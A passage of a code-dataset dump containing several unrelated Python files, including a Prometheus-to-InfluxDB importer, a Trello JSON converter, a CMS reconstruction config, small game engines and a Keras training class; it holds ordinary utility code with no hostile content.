dbname.append(''.join(random.choice(\n string.ascii_lowercase + string.digits) for _ in range(4)))\n\n return '_'.join(dbname)\n\n def load_dump(self):\n def file_list(dir=None):\n f_list = []\n for file in fileopt.list_dir(dir):\n if os.path.isdir(file):\n f_list += file_list(file)\n else:\n f_list.append(file)\n return f_list\n\n for file in file_list(self.datadir):\n if file.endswith('.json'):\n raw = fileopt.read_file(file)\n elif file.endswith('.dat'):\n raw = zlib.decompress(fileopt.read_file(file, 'rb'))\n else:\n logging.debug(\"Skipped unrecorgnized file '%s'\" % file)\n continue\n yield json.loads(raw)\n\n def build_series(self):\n def format_prom_metric(key=None):\n points = []\n point = {'fields': {}}\n # build point header\n for metric in key:\n point['measurement'] = metric['metric']['__name__']\n point['tags'] = {\n 'cluster': self.db_name,\n 'monitor': 'prometheus',\n }\n for k, v in metric['metric'].items():\n point['tags'][k] = v\n # build point values\n for value in metric['values']:\n point['time'] = datetime.datetime.utcfromtimestamp(\n value[0]).strftime('%Y-%m-%dT%H:%M:%SZ')\n try:\n point['fields']['value'] = float(value[1])\n except ValueError:\n point['fields']['value'] = value[1]\n points.append(point.copy())\n return points\n\n for key in self.load_dump():\n yield format_prom_metric(key)\n\n def write2influxdb(self):\n client = influxdb.InfluxDBClient(\n host=self.host, port=self.port, username=self.user, password=self.passwd,\n database=self.db_name, timeout=30)\n # create_database has no effect if the database already exist\n client.create_database(self.db_name)\n logging.info(\"Metrics will be imported to database '%s'.\" %\n self.db_name)\n\n for series in self.build_series():\n try:\n client.write_points(series, batch_size=2000)\n except influxdb.exceptions.InfluxDBClientError as e:\n logging.warn(\n \"Write error for key '%s', data may be empty.\" % series[0]['measurement'])\n logging.debug(e)\n\n def run_importing(self):\n self.write2influxdb()\n","sub_path":"metric/importer/prometheus.py","file_name":"prometheus.py","file_ext":"py","file_size_in_byte":3904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"136130721","text":"#!/usr/bin/env python\r\n\r\nfrom __future__ import print_function\r\nimport os\r\nimport sys\r\nimport json\r\nimport argparse\r\n\r\n\r\nclass Print:\r\n @staticmethod\r\n def stdout(*args, **kwargs):\r\n print(*args, **kwargs)\r\n\r\n @staticmethod\r\n def stderr(*args, **kwargs):\r\n print(*args, file=sys.stderr, **kwargs)\r\n\r\n\r\nclass App:\r\n def __init__(self, json_path):\r\n \"\"\"\r\n :type json_path: str\r\n \"\"\"\r\n self._json_path = json_path\r\n\r\n self._is_csv_output = True\r\n self._is_html_output = False\r\n\r\n self._is_column_view = True\r\n self._is_list_view = False\r\n\r\n self._csv_delimiter = ','\r\n\r\n def set_format(self, output):\r\n \"\"\"\r\n :type output: str\r\n \"\"\"\r\n self._is_csv_output = False\r\n self._is_html_output = False\r\n\r\n if output == 'csv':\r\n self._is_csv_output = True\r\n elif output == 'html':\r\n self._is_html_output = True\r\n else:\r\n self._is_csv_output = True\r\n\r\n def set_view(self, view):\r\n \"\"\"\r\n :type view: str\r\n \"\"\"\r\n self._is_column_view = False\r\n self._is_list_view = False\r\n\r\n if view == 'column':\r\n self._is_column_view = True\r\n elif view == 'list':\r\n self._is_list_view = True\r\n else:\r\n self._is_column_view = True\r\n\r\n def set_csv_delimiter(self, csv_delimiter):\r\n \"\"\"\r\n :type csv_delimiter: str\r\n \"\"\"\r\n self._csv_delimiter = csv_delimiter\r\n\r\n def validate_trello_json(self, json_data):\r\n \"\"\"\r\n :type json_data: dict\r\n :returns: return 0 if validate was success.\r\n :rtype: int\r\n \"\"\"\r\n if 'lists' not in json_data or len(json_data['lists']) == 0:\r\n Print.stderr('JSON data is not valid: lists is empty')\r\n return 1\r\n\r\n for one_list in json_data['lists']: # type: dict\r\n if 'name' not in one_list or 'id' not in one_list:\r\n Print.stderr('JSON data is not valid: list name or id is empty')\r\n return 1\r\n\r\n if 'cards' not in json_data or len(json_data['cards']) == 0:\r\n Print.stderr('JSON data is not valid: cards is empty')\r\n return 1\r\n\r\n for one_card in json_data['cards']: # type: dict\r\n if 'name' not in one_card or 'idList' not in one_card:\r\n Print.stderr('JSON data is not valid: card name or idList is empty')\r\n return 1\r\n return 0\r\n\r\n def _get_row_cards_list(self, json_data):\r\n \"\"\"\r\n :type json_data: dict\r\n :returns: return list (of str) of cards (one row) for column view.\r\n :rtype: list\r\n \"\"\"\r\n cells_list = list()\r\n is_empty = True\r\n for one_list in json_data['lists']: # type: dict\r\n index = 0\r\n card_name = ''\r\n for one_card in json_data['cards']: # type: dict\r\n if one_list['id'] == one_card['idList']:\r\n one_card = json_data['cards'].pop(index)\r\n card_name = one_card['name'].replace('\"', '')\r\n is_empty = False\r\n break\r\n else:\r\n index += 1\r\n cells_list.append(card_name)\r\n\r\n if is_empty:\r\n cells_list = list()\r\n return cells_list\r\n\r\n def _get_cards_list_by_id(self, json_data, list_id):\r\n \"\"\"\r\n :type json_data: dict\r\n :type list_id: str\r\n :returns: return list (of dict) of all cards by selected parent id\r\n :rtype: list\r\n \"\"\"\r\n cards_list = list()\r\n index = 0\r\n while index < len(json_data['cards']):\r\n if list_id == json_data['cards'][index]['idList']:\r\n cards_list.append(json_data['cards'].pop(index))\r\n else:\r\n index += 1\r\n return cards_list\r\n\r\n def _get_card_checklist_by_id(self, json_data, card_id):\r\n \"\"\"\r\n :type json_data: dict\r\n :type card_id: str\r\n :returns: return list (of dict) of card checklist\r\n :rtype: list\r\n \"\"\"\r\n check_list = list()\r\n index = 0\r\n while index < len(json_data['checklists']):\r\n if card_id == json_data['checklists'][index]['idCard']:\r\n check_list.append(json_data['checklists'].pop(index))\r\n else:\r\n index += 1\r\n return check_list\r\n\r\n def _generate_printed_row(self, cells_list):\r\n \"\"\"\r\n :type cells_list: list\r\n :returns: return line to print.\r\n :rtype: str\r\n \"\"\"\r\n printed_row = ''\r\n for one_cell in cells_list: # type: str\r\n if self._is_csv_output:\r\n one_cell = '\"' + one_cell + '\"'\r\n if not printed_row:\r\n printed_row = one_cell\r\n else:\r\n printed_row = printed_row + self._csv_delimiter + one_cell\r\n elif self._is_html_output:\r\n one_cell = '' + one_cell + ''\r\n printed_row = printed_row + one_cell\r\n\r\n if self._is_html_output:\r\n printed_row = '' + printed_row + ''\r\n return printed_row\r\n\r\n def print_column_view(self, json_data):\r\n cells_list = list()\r\n for one_list in json_data['lists']: # type: dict\r\n list_name = one_list['name'].replace('\"', '')\r\n if self._is_html_output:\r\n cells_list.append('' + list_name + '')\r\n else:\r\n cells_list.append(list_name)\r\n printed_row = self._generate_printed_row(cells_list)\r\n\r\n if self._is_html_output:\r\n self._print_html_style()\r\n Print.stdout('')\r\n Print.stdout(printed_row.encode('UTF-8'))\r\n\r\n while json_data['cards']:\r\n cells_list = self._get_row_cards_list(json_data)\r\n if cells_list:\r\n printed_row = self._generate_printed_row(cells_list)\r\n Print.stdout(printed_row.encode('UTF-8'))\r\n\r\n if self._is_html_output:\r\n Print.stdout('
    ')\r\n\r\n def print_list_view(self, json_data):\r\n # Two column in this view. First is card name, second is card checkitems\r\n if self._is_html_output:\r\n self._print_html_style()\r\n Print.stdout('')\r\n\r\n for one_list in json_data['lists']: # type: dict\r\n cells_list = list()\r\n\r\n list_name = one_list['name'].replace('\"', '')\r\n if self._is_html_output:\r\n cells_list.append('' + list_name + '')\r\n else:\r\n cells_list.append(list_name)\r\n cells_list.append('') # second empty column\r\n printed_row = self._generate_printed_row(cells_list)\r\n Print.stdout(printed_row.encode('UTF-8'))\r\n\r\n cards_list = self._get_cards_list_by_id(json_data, one_list['id'])\r\n for one_card in cards_list: # type: dict\r\n check_list = self._get_card_checklist_by_id(json_data, one_card['id'])\r\n check_str = ''\r\n for one_check in check_list: # type: dict\r\n for one_check_item in one_check['checkItems']: # type: dict\r\n check_item_name = one_check_item['name'].replace('\"', '')\r\n if not check_str:\r\n check_str = check_item_name\r\n else:\r\n check_str = check_str + ', ' + check_item_name\r\n\r\n cells_list = list()\r\n card_name = one_card['name'].replace('\"', '')\r\n cells_list.append(card_name)\r\n cells_list.append(check_str)\r\n printed_row = self._generate_printed_row(cells_list)\r\n Print.stdout(printed_row.encode('UTF-8'))\r\n\r\n if self._is_html_output:\r\n Print.stdout('
    ')\r\n\r\n def _print_html_style(self):\r\n Print.stdout('')\r\n Print.stdout('')\r\n Print.stdout('')\r\n Print.stdout('')\r\n Print.stdout('')\r\n\r\n def main(self):\r\n if not os.path.isfile(self._json_path):\r\n Print.stderr('Can\\'t read JSON file (' + self._json_path + ')')\r\n return 1\r\n\r\n json_data = dict()\r\n with open(self._json_path, 'r') as json_file:\r\n try:\r\n json_data = json.load(json_file)\r\n except ValueError:\r\n pass\r\n\r\n if not json_data:\r\n Print.stderr('JSON file is incorrect (' + self._json_path + ')')\r\n return 1\r\n\r\n if self.validate_trello_json(json_data) != 0:\r\n return 1\r\n\r\n if self._is_column_view:\r\n self.print_column_view(json_data)\r\n return 0\r\n if self._is_list_view:\r\n self.print_list_view(json_data)\r\n return 0\r\n return 1\r\n\r\n\r\nif __name__ == '__main__':\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument('-o',\r\n '--output',\r\n choices=['csv', 'html'],\r\n dest='output',\r\n help='generate csv or html from json')\r\n parser.add_argument('-v',\r\n '--view',\r\n choices=['column', 'list'],\r\n dest='view',\r\n help='generate column or list view')\r\n parser.add_argument('-d',\r\n '--delimiter',\r\n metavar='',\r\n dest='delimiter',\r\n action=\"store\",\r\n help='set csv delimiter',\r\n default=',')\r\n parser.add_argument(dest='path',\r\n metavar='',\r\n type=str,\r\n help='set json file path')\r\n args = parser.parse_args()\r\n\r\n args.delimiter = args.delimiter.strip()\r\n if len(args.delimiter) != 1:\r\n Print.stderr('Incorrect delimiter')\r\n sys.exit(1)\r\n\r\n app = App(args.path)\r\n\r\n app.set_format(args.output)\r\n app.set_view(args.view)\r\n app.set_csv_delimiter(args.delimiter)\r\n\r\n res = app.main()\r\n sys.exit(res)\r\n","sub_path":"tb_converter.py","file_name":"tb_converter.py","file_ext":"py","file_size_in_byte":10699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"586957733","text":"# \n# run reco\n#\n\n\nfrom FWCore.ParameterSet.VarParsing import VarParsing\noptions = VarParsing ('analysis')\noptions.parseArguments()\n\nprocess = cms.Process('PulseTree')\n\n# import of standard configurations\nprocess.load('Configuration.StandardSequences.Services_cff')\nprocess.load('SimGeneral.HepPDTESSource.pythiapdt_cfi')\nprocess.load('FWCore.MessageService.MessageLogger_cfi')\nprocess.load('Configuration.EventContent.EventContent_cff')\nprocess.load('Configuration.StandardSequences.GeometryRecoDB_cff')\nprocess.load('Configuration.StandardSequences.MagneticField_AutoFromDBCurrent_cff')\nprocess.load('Configuration.StandardSequences.EndOfProcess_cff')\nprocess.load('Configuration.StandardSequences.FrontierConditions_GlobalTag_cff')\n\nprocess.maxEvents = cms.untracked.PSet(\n input = cms.untracked.int32(options.maxEvents)\n)\n\nprocess.MessageLogger.cerr.FwkReport.reportEvery = cms.untracked.int32(10)\n\n#process.TFileService = cms.Service(\"TFileService\",\n #fileName = cms.string(options.outputFile)\n#)\n\nprocess.options = cms.untracked.PSet(\n# SkipEvent = cms.untracked.vstring('ProductNotFound'),\n)\n\n# Production Info\nprocess.configurationMetadata = cms.untracked.PSet(\n annotation = cms.untracked.string('reco nevts:1'),\n name = cms.untracked.string('Applications'),\n version = cms.untracked.string('$Revision: 1.19 $')\n)\n\n# Other statements\nfrom Configuration.AlCa.GlobalTag import GlobalTag\n#process.GlobalTag = GlobalTag(process.GlobalTag, '80X_dataRun2_Prompt_v12', '')\nprocess.GlobalTag = GlobalTag(process.GlobalTag, '102X_upgrade2018_realistic_v12', '')\n#102X_upgrade2018_realistic_v12\n\nimport EventFilter.EcalRawToDigi.EcalUnpackerData_cfi\nprocess.ecalDigis = EventFilter.EcalRawToDigi.EcalUnpackerData_cfi.ecalEBunpacker.clone()\nprocess.ecalDigis.DoRegional = False\n\nprocess.ecalDigis.silentMode = False\n\n\n\nmake_collections = ['digis']\nmake_collections.append('rechits')\n\n\nuse_raw_dat = True\nprocess.MessageLogger.cerr.FwkReport.reportEvery = cms.untracked.int32(50)\n\n# -> this was for local runs\n# process.source = cms.Source(\"NewEventStreamFileReader\", fileNames = cms.untracked.vstring(options.inputFiles))\n\n# -> this is the standard one\nprocess.source = cms.Source(\"PoolSource\", fileNames = cms.untracked.vstring(options.inputFiles) )\n\n\n\nprocess.load('RecoLocalCalo.EcalRecProducers.ecalUncalibRecHit_cfi')\nprocess.load('RecoLocalCalo.EcalRecProducers.ecalMultiFitUncalibRecHit_cfi')\nprocess.ecalUncalibRecHit.EBdigiCollection = cms.InputTag(\"ecalDigis\",\"ebDigis\")\nprocess.ecalUncalibRecHit.EEdigiCollection = cms.InputTag(\"ecalDigis\",\"eeDigis\")\nprocess.ecalMultiFitUncalibRecHit.EBdigiCollection = cms.InputTag(\"ecalDigis\",\"ebDigis\")\nprocess.ecalMultiFitUncalibRecHit.EEdigiCollection = cms.InputTag(\"ecalDigis\",\"eeDigis\")\nprocess.ecalMultiFitUncalibRecHit.algoPSet.useLumiInfoRunHeader = cms.bool(False)\n\nprocess.ecalDigis_step = cms.Path(process.ecalDigis)\nprocess.multifit = cms.Path(process.ecalMultiFitUncalibRecHit)\nprocess.weights = cms.Path(process.ecalUncalibRecHit)\n\n\nprocess.RECOSIMoutput = cms.OutputModule(\"PoolOutputModule\",\n dataset = cms.untracked.PSet(\n dataTier = cms.untracked.string(''),\n filterName = cms.untracked.string('')\n ),\n eventAutoFlushCompressedSize = cms.untracked.int32(5242880),\n #fileName = cms.untracked.string('reco_RECO.root'),\n fileName = cms.untracked.string(options.outputFile),\n outputCommands = cms.untracked.vstring(\"keep *\"),\n splitLevel = cms.untracked.int32(0)\n)\n\n\nprocess.endjob_step = cms.EndPath(process.RECOSIMoutput)\n\n#process.schedule = cms.Schedule(process.ecalDigis_step, process.endjob_step)\nprocess.schedule = cms.Schedule(process.ecalDigis_step,process.multifit,process.weights,process.endjob_step)\n\n\n\n","sub_path":"test/reco.py","file_name":"reco.py","file_ext":"py","file_size_in_byte":3742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"323674091","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Feb 4 14:28:56 2019\n\n@author: callu\n\"\"\"\ndef turn(team):\n if (team==0):\n print(\"IT IS YOUR TURN, TEAM RED\\n\")\n num = int(input(\"RED SPYMASTER, how many words are you connecting? \"))\n clue = input(\"RED SPYMASTER, what is your clue?\")\n return (num,clue)\n else:\n print(\"IT IS YOUR TURN, TEAM BLUE\\n\")\n num = int(input(\"BLUE SPYMASTER, how many words are you connecting? \"))\n clue = input(\"BLUE SPYMASTER, what is your clue? \")\n return (num,clue)\n \ndef checkGuess(team, guess, redwords, bluewords, bywords, assassin):\n ass = False\n wrong = False\n if team == 0:\n if (guess.lower()==\"endturn\"):\n print(\"You have ended your turn, RED TEAM\")\n return ass, wrong\n try:\n redwords.index(guess.lower())\n print(\"CORRECT, that was one of your team's words\")\n redwords.remove(guess.lower())\n except:\n if (assassin==guess):\n actual=\"THE ASSASSIN\"\n ass=True\n else:\n try:\n bluewords.index(guess.lower())\n actual=\"one of the BLUE TEAM'S WORDS\"\n bluewords.remove(guess.lower())\n wrong = True\n except:\n try:\n bywords.index(guess.lower())\n actual=\"one of the BYSTANDERS\"\n bywords.remove(guess.lower())\n wrong = True\n except:\n print(\"ERROR\")\n actual = \"ERROR\"\n print(\"INCORRECT, \"+guess+\" was \"+actual)\n return ass, wrong\n else:\n if (guess.lower()==\"endturn\"):\n print(\"You have ended your turn, BLUE TEAM\")\n return ass, wrong\n try:\n bluewords.index(guess.lower())\n print(\"CORRECT, that was one of your team's words\")\n bluewords.remove(guess.lower())\n except:\n if (assassin==guess):\n actual=\"THE ASSASSIN\"\n ass=True\n else:\n try:\n redwords.index(guess.lower())\n actual=\"one of the RED TEAM'S WORDS\"\n redwords.remove(guess.lower())\n wrong = True\n except:\n try:\n bywords.index(guess.lower())\n actual=\"one of the BYSTANDERS\"\n bywords.remove(guess.lower())\n wrong = True\n except:\n print(\"ERROR\")\n actual = \"ERROR\"\n print(\"INCORRECT, \"+guess+\" was \"+actual)\n return ass, wrong\n return ass, wrong\n \ndef win(team):\n if (team==1):\n print(\"BLUE TEAM WINS!!!!\")\n else:\n print(\"RED TEAM WINS!!!!\")\n again = input(\"PLAY AGAIN? Y/N: \")\n if (again.lower()==\"y\"):\n print(\"Setting up another game!\")\n print(\"========================\\n\")\n return True\n else:\n print(\"Thanks for playing!\")\n return False","sub_path":"gameLoopAIPlayer.py","file_name":"gameLoopAIPlayer.py","file_ext":"py","file_size_in_byte":3220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"387645601","text":"\"\"\"\nContains functions used in the ``game.py`` file of a project.\n\"\"\"\n\nimport sys\nfrom os.path import join\nfrom operator import attrgetter\nfrom time import time\n\nimport pygame\nfrom pygame.locals import *\n\nfrom gamebaker import classes, constants\n\n\ndef get_events(blueprints):\n \"\"\"\n Return a set of all the events that have been defined in any ``Blueprint``, and a set of all the doubletap events.\n \n Events that haven't been defined will not be called to save time.\n ``blueprints`` should be the module containing the game's blueprints.\n \"\"\"\n events = set()\n for variable in vars(blueprints).values():\n try:\n if issubclass(variable, blueprints.Blueprint) and variable != blueprints.Blueprint: \n for key, value in vars(variable).items():\n if callable(value):\n events.add(key)\n except TypeError:\n continue\n return (events & classes.events, events & classes.doubletap_events)\n\ndef load_level(level_list, number):\n \"\"\"\n Load a level given a list of ``Level`` objects and an index, and return a tuple of the views and objects of that level.\n \"\"\"\n views = list(level_list[number].views)\n objects = list(level_list[number].objects)\n scenery = list(level_list[number].scenery)\n level = level_list[number]\n objects.sort(key=attrgetter(\"draw_depth\"))\n scenery.sort(key=attrgetter(\"draw_depth\"))\n \n return (views, objects, scenery, level)\n \ndef draw_objects(objects, views, window):\n \"\"\"\n Draw objects to views, and those views to a window.\n \"\"\"\n window.fill((0, 0, 0))\n for v in views:\n v.surface.fill((0, 0, 0))\n for a in objects:\n v.surface.blit(a.sprite.image, (a.x - v.x, a.y - v.y))\n window.blit(v.surface, (v.screen_x, v.screen_y))\n \n \nclass EventContainer:\n \"\"\"\n Represent an event and data pertaining to it.\n \"\"\"\n def _attrs(self):\n \"\"\"\n Returns a tuple containing the attributes of an instance used for hashing and equality checking.\n Should be overridden by subclasses.\n \"\"\"\n return ()\n \n def __eq__(self, other):\n return type(self) == type(other) and all(a == b for a, b in zip(self._attrs(), other._attrs()))\n\n def __hash__(self):\n return hash(self._attrs())\n\nclass KeyEventWithoutData(EventContainer):\n def __init__(self, name):\n self.name = name\n \n def _attrs(self):\n return (self.name,)\n \n def __repr__(self):\n return \"KeyEventWithoutData({})\".format(repr(self.name))\n \nclass KeyEventWithData(EventContainer):\n def __init__(self, name, data):\n self.name = name\n self.data = data\n \n def _attrs(self):\n return (self.name, self.data)\n \n def __repr__(self):\n return \"KeyEventAndData({}, {})\".format(repr(self.name), repr(self.data))\n \nclass DoubleTapEvent(EventContainer):\n def __init__(self, key_event, time):\n self.key_event = key_event\n self.time = time\n\n def _attrs(self):\n return (self.key_event, self.time)\n \n def __repr__(self):\n return \"DoubleTapEvent({}, {})\".format(repr(self.key_event), repr(self.time))\n\ndef try_event(instance, event, *args, **kwargs):\n \"\"\"\n Check if an instance as a method defined for an event, and call it if it does.\n \"\"\"\n if hasattr(instance, event):\n return getattr(instance, event)(*args, **kwargs)\n \ndef check_possible_collision(first, second, blueprints):\n \"\"\"\n Checks if ``second`` is in ``first.possible_collisions``, or vice versa.\n \"\"\"\n return (type(first), type(second) in blueprints.possible_collisions)\n\n \ndef key_method_args(key):\n \"\"\"\n Return the method name used by blueprints to refer to a Pygame key event, and possibly arguments to be passed to a relevant Blueprint instance's event.\n \"\"\"\n if key in constants.key_constants1:\n return KeyEventWithoutData(constants.key_constants1[key])\n else:\n for group in constants.key_constants2:\n if key in group:\n method_name = constants.key_constants2[group]\n if method_name == \"key_letter\":\n return KeyEventWithData(method_name, chr(key))\n elif method_name == \"key_numberpad\":\n return KeyEventWithData(method_name, key-256) # pygame.K_KPx -> x\n elif method_name == \"key_number\":\n return KeyEventWithData(method_name, key-48) # pygame.K_x -> x\n elif method_name == \"key_function\":\n return KeyEventWithData(method_name, key-281) # pygame.K_Fx -> x\n else:\n return KeyEventWithoutData(method_name)\n else:\n return KeyEventWithData(\"key_unknown\")\n\ndef call_key_method(instance, method, suffix):\n \"\"\"\n Calls a key related method on an instance.\n \"\"\"\n if type(method) == KeyEventWithoutData:\n try_event(instance, method.name + suffix)\n elif type(method) == KeyEventWithData:\n try_event(instance, method.name + suffix, method.data)\n\n \ndef get_active_things(views, thing_grid):\n return list(set.union(*[thing_grid.select_region(v.x, v.y, v.width, v.height) for v in views])) \n \ndef sort_stuff(active_instances, active_scenery):\n return sorted(active_instances + active_scenery, key=attrgetter(\"draw_depth\"))\n \ndef main(events, views, objects, scenery, settings, blueprints, level):\n \"\"\"\n Set up the game and run the game loop.\n \"\"\"\n pygame.init()\n \n events, doubletap_events = events\n \n cpcs = check_possible_collision # local variable for speed\n \n game_name = settings.game_name\n game_version = settings.game_version\n window_caption = \"{} - {}\".format(game_name, game_version)\n window_width = settings.window_width\n window_height = settings.window_height\n game_speed = settings.game_speed\n active_count = settings.active_count\n\n window = pygame.display.set_mode((window_width, window_height))\n pygame.display.set_caption(window_caption)\n\n game_clock = pygame.time.Clock()\n \n key_held_events = set()\n key_doubletap_possibles = set()\n \n objects_grid = classes.Grid(objects, level.width, level.height, settings.sector_size)\n classes.Blueprint.grid = objects_grid\n \n scenery_grid = classes.Grid(scenery, level.width, level.height, settings.sector_size)\n classes.Scenery.grid = scenery_grid\n \n counter = 0\n \n while True:\n key_doubletap_events = set()\n key_press_events = set()\n key_release_events = set()\n \n mouse_events = set()\n \n mouse_x, mouse_y = pygame.mouse.get_pos()\n mouse_x += views[0].x\n mouse_y += views[0].y\n blueprints.variables.mouse_x, blueprints.variables.mouse_y = mouse_x, mouse_y\n \n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n elif event.type == pygame.KEYUP:\n method = key_method_args(event.key)\n if method.name + \"_release\" in events:\n key_release_events.add(method)\n key_held_events.discard(method)\n elif event.type == pygame.KEYDOWN:\n method = key_method_args(event.key)\n if method.name + \"_press\" in events:\n key_press_events.add(method)\n if method.name + \"_held\" in events:\n key_held_events.add(method)\n if method.name + \"_doubletap\" in doubletap_events:\n t = time()\n for e in key_doubletap_possibles:\n if t - e.time <= 0.3: # if it was less than 0.3 seconds ago\n key_doubletap_events.add(e.key_event)\n key_doubletap_possibles.discard(e)\n break\n else:\n key_doubletap_possibles.add(DoubleTapEvent(method, time()))\n \n for v in views:\n v.update_variables()\n \n counter -= 1\n if counter <= 0:\n active_instances = get_active_things(views, objects_grid)\n active_scenery = get_active_things(views, scenery_grid)\n counter = active_count\n\n things_to_draw = sort_stuff(active_instances, active_scenery)\n draw_objects(things_to_draw, views, window)\n \n blueprints.variables.views = views\n \n for instance in active_instances:\n instance.tick()\n for method in key_press_events:\n call_key_method(instance, method, \"_press\")\n for method in key_release_events:\n call_key_method(instance, method, \"_release\")\n for method in key_held_events:\n call_key_method(instance, method, \"_held\")\n for method in key_doubletap_events:\n call_key_method(instance, method, \"_doubletap\")\n \n collision_list = sorted(active_instances, key=attrgetter(\"x\"))\n for index, instance in enumerate(collision_list):\n temp_x = instance.x # avoid constant attrgetting\n bbw = instance.bounding_box_width\n for second_instance in collision_list[index+1:]:\n if temp_x + bbw < second_instance.x:\n break\n elif cpcs(instance, second_instance, blueprints) and instance.get_rect().colliderect(second_instance.get_rect()):\n try_event(instance, \"collide\", second_instance)\n try_event(second_instance, \"collide\", instance)\n \n for instance in active_instances:\n instance.end_tick() \n \n views = blueprints.variables.views\n \n # set the caption\n if game_version.build_type != \"r\": # r for release\n window_caption = \"{} - {} - {} fps\".format(game_name, game_version, game_clock.get_fps())\n pygame.display.set_caption(window_caption)\n \n pygame.display.flip() \n \n game_clock.tick(game_speed)","sub_path":"gamebaker/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":10327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"553412601","text":"\nfrom base.base_trainer import BaseTrain\nimport sys, os, psutil, math\nfrom keras.callbacks import ModelCheckpoint, TensorBoard, EarlyStopping\nimport collections # for flatten() TODO: make a utility libr for flatten, etc.\n\ndef flatten(d, parent_key='', sep='_'):\n items = []\n for k, v in d.items():\n new_key = parent_key + sep + k if parent_key else k\n if isinstance(v, collections.MutableMapping):\n items.extend(flatten(v, new_key, sep=sep).items())\n else:\n items.append((new_key, v))\n return dict(items)\n\nclass SimpleMnistModelTrainerWGenerator(BaseTrain):\n def __init__(self, model, train_generator, config, valid_data=None):\n super(SimpleMnistModelTrainerWGenerator, self).__init__(model,\n train_generator, config, valid_data)\n # self.train_generator = train_generator\n # self.validation_generator = valid_data\n self.callbacks = []\n self.loss = []\n self.acc = []\n self.val_loss = []\n self.val_acc = []\n self.init_callbacks()\n\n\n\n def init_callbacks(self):\n # TODO: figure out LearningRateScheduler callback with polydecay maybe\n # TODO: early stopping callback\n self.callbacks.append(\n ModelCheckpoint(\n filepath=os.path.join(self.config.callbacks.checkpoint_dir,\n '%s-{epoch:02d}-{val_loss:.2f}.hdf5' % self.config.exp.name),\n monitor=self.config.callbacks.checkpoint_monitor,\n mode=self.config.callbacks.checkpoint_mode,\n save_best_only=self.config.callbacks.checkpoint_save_best_only,\n save_weights_only=self.config.callbacks.checkpoint_save_weights_only,\n verbose=self.config.callbacks.checkpoint_verbose,\n )\n )\n\n self.callbacks.append(\n TensorBoard(\n log_dir=self.config.callbacks.tensorboard_log_dir,\n write_graph=self.config.callbacks.tensorboard_write_graph,\n )\n )\n\n self.callbacks.append(\n EarlyStopping(\n monitor=self.config.callbacks.early_stopping_monitor,\n min_delta=self.config.callbacks.early_stopping_min_delta,\n patience=self.config.callbacks.early_stopping_patience,\n verbose=self.config.callbacks.early_stopping_patience\n )\n )\n\n # if the config has the debug flag on, turn on tfdbg (TODO: make it work)\n if hasattr(self.config,\"debug\"):\n if (self.config.debug == True):\n import keras.backend\n from tensorflow.python import debug as tf_debug\n print(\"#=========== DEBUG MODE ===========#\")\n sess = keras.backend.get_session()\n sess = tf_debug.LocalCLIDebugWrapperSession(sess)\n keras.backend.set_session(sess)\n\n # if the config file has a comet_ml key, log on comet\n if hasattr(self.config,\"comet_api_key\"):\n #from comet_ml import Experiment # PUT the import in main\n #experiment = Experiment(api_key=self.config.exp.comet_api_key,\n # project_name=self.config.exp.name)\n #experiment.disable_mp()\n self.config.exp_handle.log_multiple_params(flatten(self.config.toDict()))\n self.callbacks.append(self.config.exp_handle.get_keras_callback())\n\n def train(self):\n\n # TODO: fix this it's now here just for future sanity\n # (somehow split the incoming data?)\n if (self.valid_data==None):\n print(\"\"\"Need some validation data or the\n ModelCheckpoint won't be saved\"\"\")\n return\n\n history = self.model.fit_generator(\n generator=self.data,\n epochs=self.config.trainer.num_epochs,\n # steps_per_epoch=int(math.ceil(34564/float(self.config.trainer.batch_size))),\n # 34564 math.ceil(len(os.listdir(self.config.data_loader.train_dir))\\\n # / float(self.config.trainer.batch_size)), # WILL USE __len__() if left\n verbose=self.config.trainer.verbose_training,\n validation_data=self.valid_data,\n # validation_steps=int(math.ceil(8640/float(self.config.trainer.batch_size))),\n # math.ceil(len(os.listdir(self.config.data_loader.test_dir))\\\n # / float(self.config.trainer.batch_size)),\n callbacks=self.callbacks,\n use_multiprocessing=True,\n workers=psutil.cpu_count(),\n # max_queue_size=20,\n shuffle=True\n )\n\n self.loss.extend(history.history['loss'])\n self.acc.extend(history.history['acc'])\n self.val_loss.extend(history.history['val_loss'])\n self.val_acc.extend(history.history['val_acc'])\n","sub_path":"trainers/simple_mnist_trainer_w_generator.py","file_name":"simple_mnist_trainer_w_generator.py","file_ext":"py","file_size_in_byte":4826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"52769143","text":"from torch import randn\nfrom torch.nn import MaxPool2d\n\nfrom backpack import extend\n\n\ndef data(device=\"cpu\"):\n N, C, Hin, Win = 100, 10, 32, 32\n KernelSize = 4\n\n X = randn(N, C, Hin, Win, requires_grad=True, device=device)\n module = extend(MaxPool2d(KernelSize)).to(device=device)\n out = module(X)\n\n Hout = int(Hin / KernelSize)\n Wout = int(Win / KernelSize)\n vout = randn(N, C, Hin, Win, device=device)\n vin = randn(N, C, Hout, Wout, device=device)\n\n return {\n \"X\": X,\n \"module\": module,\n \"output\": out,\n \"vout_ag\": vout,\n \"vout_bp\": vout.view(N, -1, 1),\n \"vin_ag\": vin,\n \"vin_bp\": vin.view(N, -1, 1),\n }\n","sub_path":"test/benchmark/jvp_maxpool2d.py","file_name":"jvp_maxpool2d.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"42877469","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import, unicode_literals\nimport zerorpc\nfrom jiebarpc.dispatcher import JiebaRPCDispatcher\n\n\nclass JiebaRPCServer(zerorpc.Server):\n def __init__(self, methods=None, *args, **kwargs):\n methods = methods or JiebaRPCDispatcher()\n super(JiebaRPCServer, self).__init__(\n methods,\n *args,\n **kwargs\n )\n\n\nif __name__ == '__main__':\n server = JiebaRPCServer()\n 